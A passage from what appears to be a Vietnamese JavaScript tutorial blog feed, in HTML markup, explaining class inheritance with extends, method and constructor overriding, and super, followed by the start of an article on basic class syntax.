0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ khóa <code>extend</code> khi kế thừa class</h2> <p>Giả sử mình có class <code>Animal</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token parameter">speed</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> speed<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> runs with speed </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>speed<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> stands still.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Animal</span><span class="token punctuation">(</span><span class="token string">"My animal"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tiếp theo, mình muốn tạo thêm class khác là <code>Rabbit</code>. Mà <code>Rabbit</code> thực chất cũng là <code>Animal</code>, nên class <code>Rabbit</code> nên được kế thừa từ class <code>Animal</code> để có thể sử dụng các phương thức trong đó.</p> <p>Nói cách khác, mỗi object tạo bởi <code>Rabbit</code> có thể làm được những thứ mà <code>Animal</code> có thể làm. Đó chính là <strong>bản chất của kế thừa.</strong></p> <p>Cú pháp để kế thừa class trong JavaScript là: <code>class Child extends Parent</code>. Do đó, class <code>Rabbit</code> có thể được viết như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span></span> <span class="token function">hide</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> hides!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"White Rabbit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> rabbit<span class="token punctuation">.</span><span class="token function">run</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// White Rabbit runs with speed 5.</span> rabbit<span class="token punctuation">.</span><span class="token function">hide</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// White Rabbit hides!</span></code></pre></div> <p>Bạn thấy rằng, object tạo bởi <code>Rabbit</code> có thể đồng thời sử dụng phương thức trong <code>Rabbit</code> là <code>rabbit.hide()</code> và phương thức trong <code>Animal</code> là <code>rabbit.run()</code>.</p> <p>Về bản chất, từ khóa <code>extends</code> sử dụng cơ chế <a href="/native-prototypes-trong-javascript/">kế thừa prototype</a> thông qua việc gán <code>Rabbit.prototype.[[Prototype]]</code> bằng <code>Animal.prototype</code>. Nghĩa là nếu một phương thức không được tìm thấy trong <code>Rabbit.animal</code> thì JavaScript sẽ tự động tìm kiếm trong <code>Animal.prototype</code>.</p> <p>Ví dụ để tìm phương thức <code>rabbit.run</code>, JavaScript engine sẽ thực hiện tìm kiếm như sau:</p> <ol> <li>Tìm trong đối tượng <code>rabbit</code> - không có <code>run</code>.</li> <li>Tìm trong prototype của <code>rabbit</code>, đó là <code>Rabbit.prototype</code> - cũng không có <code>run</code>.</li> <li>Tìm trong prototype của <code>Rabbit.prototype</code>, đó là <code>Animal.prototype</code> - có phương thức <code>run</code>.</li> </ol> <p><strong>Chú ý:</strong> Đằng sau từ khóa <code>extends</code> không chỉ là class mà còn có thể là <strong>một biểu thức</strong>.</p> <p>Ví dụ <a href="/cu-phap-class-trong-javascript-co-ban/">một hàm trả về một class</a> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">class</span> <span class="token punctuation">{</span></span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token keyword">extends</span> <span class="token class-name">f</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span></span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></code></pre></div> <p>Trong ví dụ trên, class <code>User</code> kế thừa từ một class là kết quả của việc gọi hàm <code>f("Hello")</code>.</p> <h2 id="ghi-đè-phương-thức" style="position:relative;"><a href="#ghi-%C4%91%C3%A8-ph%C6%B0%C6%A1ng-th%E1%BB%A9c" aria-label="ghi đè phương thức permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ghi đè phương thức</h2> <p>Khi kế thừa class trong JavaScript, tất cả các phương thức không được định nghĩa trong class con <code>Rabbit</code> sẽ được tìm và lấy ở class cha <code>Animal</code> để sử dụng.</p> <p>Nhưng ở khía cạnh ngược lại, nếu mình <strong>định nghĩa lại một phương thức</strong> của class <code>Animal</code> trong class <code>Rabbit</code>, giả sử là phương thức <code>stop</code>. Khi đó, phương thức <code>stop</code> trong <code>Rabbit</code> sẽ được sử dụng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// phương thức này được sử dụng khi gọi `rabbit.stop()`</span> <span class="token comment">// thay vì phương thức `stop` trong class Animal.</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Đó chính là <strong>ghi đè thuộc tính</strong> khi kế thừa class trong JavaScript.</p> <p>Tuy nhiên, chúng ta thường <strong>không muốn thay thế hoàn toàn phương thức cha</strong> mà sẽ dựa trên đó và rồi thực hiện thêm một số tác vụ. Nghĩa là mình sẽ làm một thứ gì đó, nhưng vẫn gọi đến phương thức cha <strong>trước hoặc sau công việc kia</strong>.</p> <p>Để giải quyết vấn đề này, class cung cấp từ khóa <code>super</code> với cách sử dụng như sau:</p> <ul> <li><code>super.method()</code>: gọi đến phương thức cha.</li> <li><code>super(...)</code>: gọi đến hàm khởi tạo của class cha (chỉ sử dụng trong hàm khởi tạo).</li> </ul> <p>Ví dụ, class <code>Rabbit</code> kế thừa class <code>Animal</code> và ghi đè phương thức <code>stop</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token parameter">speed</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> speed<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> runs with speed </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>speed<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> stands still.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">hide</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> hides!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi đến phương thức stop của Animal</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">hide</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// và rồi gọi phương thức hide của chính nó.</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"White Rabbit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> rabbit<span class="token punctuation">.</span><span class="token function">run</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// White Rabbit runs with speed 5.</span> rabbit<span class="token punctuation">.</span><span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// White Rabbit stands still.</span> <span class="token comment">// White Rabbit hides!</span></code></pre></div> <p>Trong ví dụ trên, <code>Rabbit</code> đã có phương thức <code>stop</code> riêng. Và phương thức này gọi đến phương thức <code>stop</code> của class cha <code>Animal</code> là <code>super.stop()</code>.</p> <p><strong>Chú ý:</strong> <a href="/arrow-function-la-gi-arrow-function-trong-js/">arrow function</a> không có <code>super</code>. Dó đó, <code>super</code> sẽ được tham chiếu đến hàm bên ngoài, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi đến hàm stop của class Animal sau 1000ms</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Ở ví dụ trên, <code>super</code> trong arrow function là <strong>hoàn toàn tương đương</strong> với <code>super</code> trong hàm <code>stop</code>. Vì vậy, kết quả thực hiện hoàn toàn chính xác như mong muốn.</p> <p>Tuy nhiên, nếu thay arrow function bằng hàm thông thường thì kết quả sẽ khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kết quả không như mong muốn</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="ghi-đè-hàm-khởi-tạo" style="position:relative;"><a href="#ghi-%C4%91%C3%A8-h%C3%A0m-kh%E1%BB%9Fi-t%E1%BA%A1o" aria-label="ghi đè hàm khởi tạo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ghi đè hàm khởi tạo</h2> <p>Khi kế thừa class trong JavaScript, việc <strong>ghi đè hàm khởi tạo phức tạp hơn</strong> so với việc ghi đè phương thức thông thường.</p> <p>Trong các ví dụ trên, class <code>Rabbit</code> chưa có hàm khởi tạo. Do đó, JavaScript engine sẽ tự động tạo một <strong>hàm khởi tạo trống</strong> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">super</span><span class="token punctuation">(</span><span class="token operator">...</span>args<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span></code></pre></div> <p>Hàm khởi tạo của <code>Rabbit</code> không thực hiện thêm gì ngoài việc gọi hàm khởi tạo của class cha <code>Animal</code> thông qua câu lệnh <code>super(...args)</code>.</p> <p>Bây giờ, mình sẽ thay đổi hàm khởi tạo của <code>Rabbit</code>, bằng cách truyền thêm tham số <code>earLength</code> bên cạnh <code>name</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> earLength</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">this</span><span class="token punctuation">.</span>earLength <span class="token operator">=</span> earLength<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span> <span class="token comment">// ...</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"White Rabbit"</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token comment">// Lỗi:</span> <span class="token comment">// Uncaught ReferenceError: Must call super constructor in derived class</span> <span class="token comment">// before accessing 'this' or returning from derived</span></code></pre></div> <p>Với cách làm trên thì đã có lỗi xảy ra. Và lỗi này được hiểu là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Phải gọi hàm khởi tạo của class cha trước khi truy cập vào `this` hoặc kết thúc hàm khởi tạo.</code></pre></div> <p>Vì vậy, mình sẽ sửa lại đoạn code trên như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> earLength</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">super</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token keyword">this</span><span class="token punctuation">.</span>earLength <span class="token operator">=</span> earLength<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token comment">// Sử dụng:</span></span><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"White Rabbit"</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// White Rabbit</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>earLength<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span></span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Những kiến thức cơ bản cần nhớ về kế thừa class trong JavaScript là:</p> <ol> <li>Cú pháp kế thừa class trong JavaScript: <code>class Child extends Parent</code>.</li> </ol> <ul> <li>Bản chất câu lệnh trên thực hiện gán <code>Child.prototype.__proto__</code> bằng <code>Parent.prototype</code>.</li> <li>Khi một phương thức không được tìm thấy trong class <code>Child</code> thì JavaScript sẽ tự động tìm kiếm trong class <code>Parent</code>.</li> </ul> <ol start="2"> <li>Khi ghi đè hàm khởi tạo:</li> </ol> <ul> <li>Phải gọi đến hàm khởi tạo của class cha thông qua <code>super()</code> trước khi sử dụng <code>this</code>.</li> </ul> <ol start="3"> <li>Khi ghi đè các phương thức khác:</li> </ol> <ul> <li>Bạn có thể sử dụng <code>super.method()</code> trong class <code>Child</code> để gọi đến phương thức <code>method</code> trong class <code>Parent</code>.</li> </ul> <p><strong>Chú ý:</strong> arrow function không có <code>this</code> cũng như <code>super</code>. Vì vậy, chúng sẽ được tham chiếu đến hàm bên ngoài.</p> <p>Tham khảo: <a href="https://javascript.info/class-inheritance">Class inheritance</a></p>[email protected]<![CDATA[Cú pháp class trong JavaScript cơ bản]]><![CDATA[Khi lập trình, chúng ta thường sẽ phải tạo ra nhiều object với cùng kiểu, ví dụ như: các đối tượng người dùng hay các đối tượng sản phẩm,... Để giải quyết vấn đề này, bạn có thể sử…]]>https://completejavascript.com/cu-phap-class-trong-javascript-co-ban/https://completejavascript.com/cu-phap-class-trong-javascript-co-ban/<![CDATA[Class]]><![CDATA[ES6]]><![CDATA[Prototype]]>Wed, 28 Jun 2017 08:00:00 GMT<p>Khi lập trình, chúng ta thường sẽ phải tạo ra nhiều <a href="/object-la-gi-object-trong-javascript/">object</a> với cùng kiểu, ví dụ như: các đối tượng người dùng hay các đối tượng sản phẩm,...</p> <p>Để giải quyết vấn đề này, bạn có thể sử dụng <a href="/cu-phap-new-function-trong-javascript/">hàm khởi tạo với từ khóa new</a>.</p> <p>Tuy nhiên, từ <a href="/tag/es6/">ES6</a> trở đi, JavaScript có thêm từ khóa <strong>class</strong>, với nhiều đặc điểm và tính năng hữu ích được áp dụng trong <a href="https://vi.wikipedia.org/wiki/L%E1%BA%ADp_tr%C3%ACnh_h%C6%B0%E1%BB%9Bng_%C4%91%E1%BB%91i_t%C6%B0%E1%BB%A3ng">lập trình hướng đối tượng</a>.</p> <h2 id="cú-pháp-cơ-bản-của-class-trong-javascript" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-c%C6%A1-b%E1%BA%A3n-c%E1%BB%A7a-class-trong-javascript" aria-label="cú pháp cơ bản của class trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp cơ bản của class trong JavaScript</h2> <p>Cú pháp class cơ bản là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">MyClass</span> <span class="token punctuation">{</span> <span class="token comment">// các phương thức của class</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span> <span class="token function">method1</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span> <span class="token function">method2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span> <span class="token function">method3</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span> <span class="token operator">...</span> <span class="token punctuation">}</span></code></pre></div> <p>Bạn sử dụng <code>new MyClass()</code> để <strong>tạo mới một đối tượng</strong> chứa tất cả các phương thức được định nghĩa trên.</p> <p>Phương thức <code>constructor()</code> được gọi một cách <strong>tự động</strong> với từ khóa <code>new</code>. Do đó, bạn có thể khởi tạo các thuộc tính cho object trong hàm khởi tạo.</p> <p>Ví dụ class <code>User</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="token comment">// hàm khởi tạo</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// khởi tạo thuộc tính `this.name` với giá trị bằng `name`</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// phương thức</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> 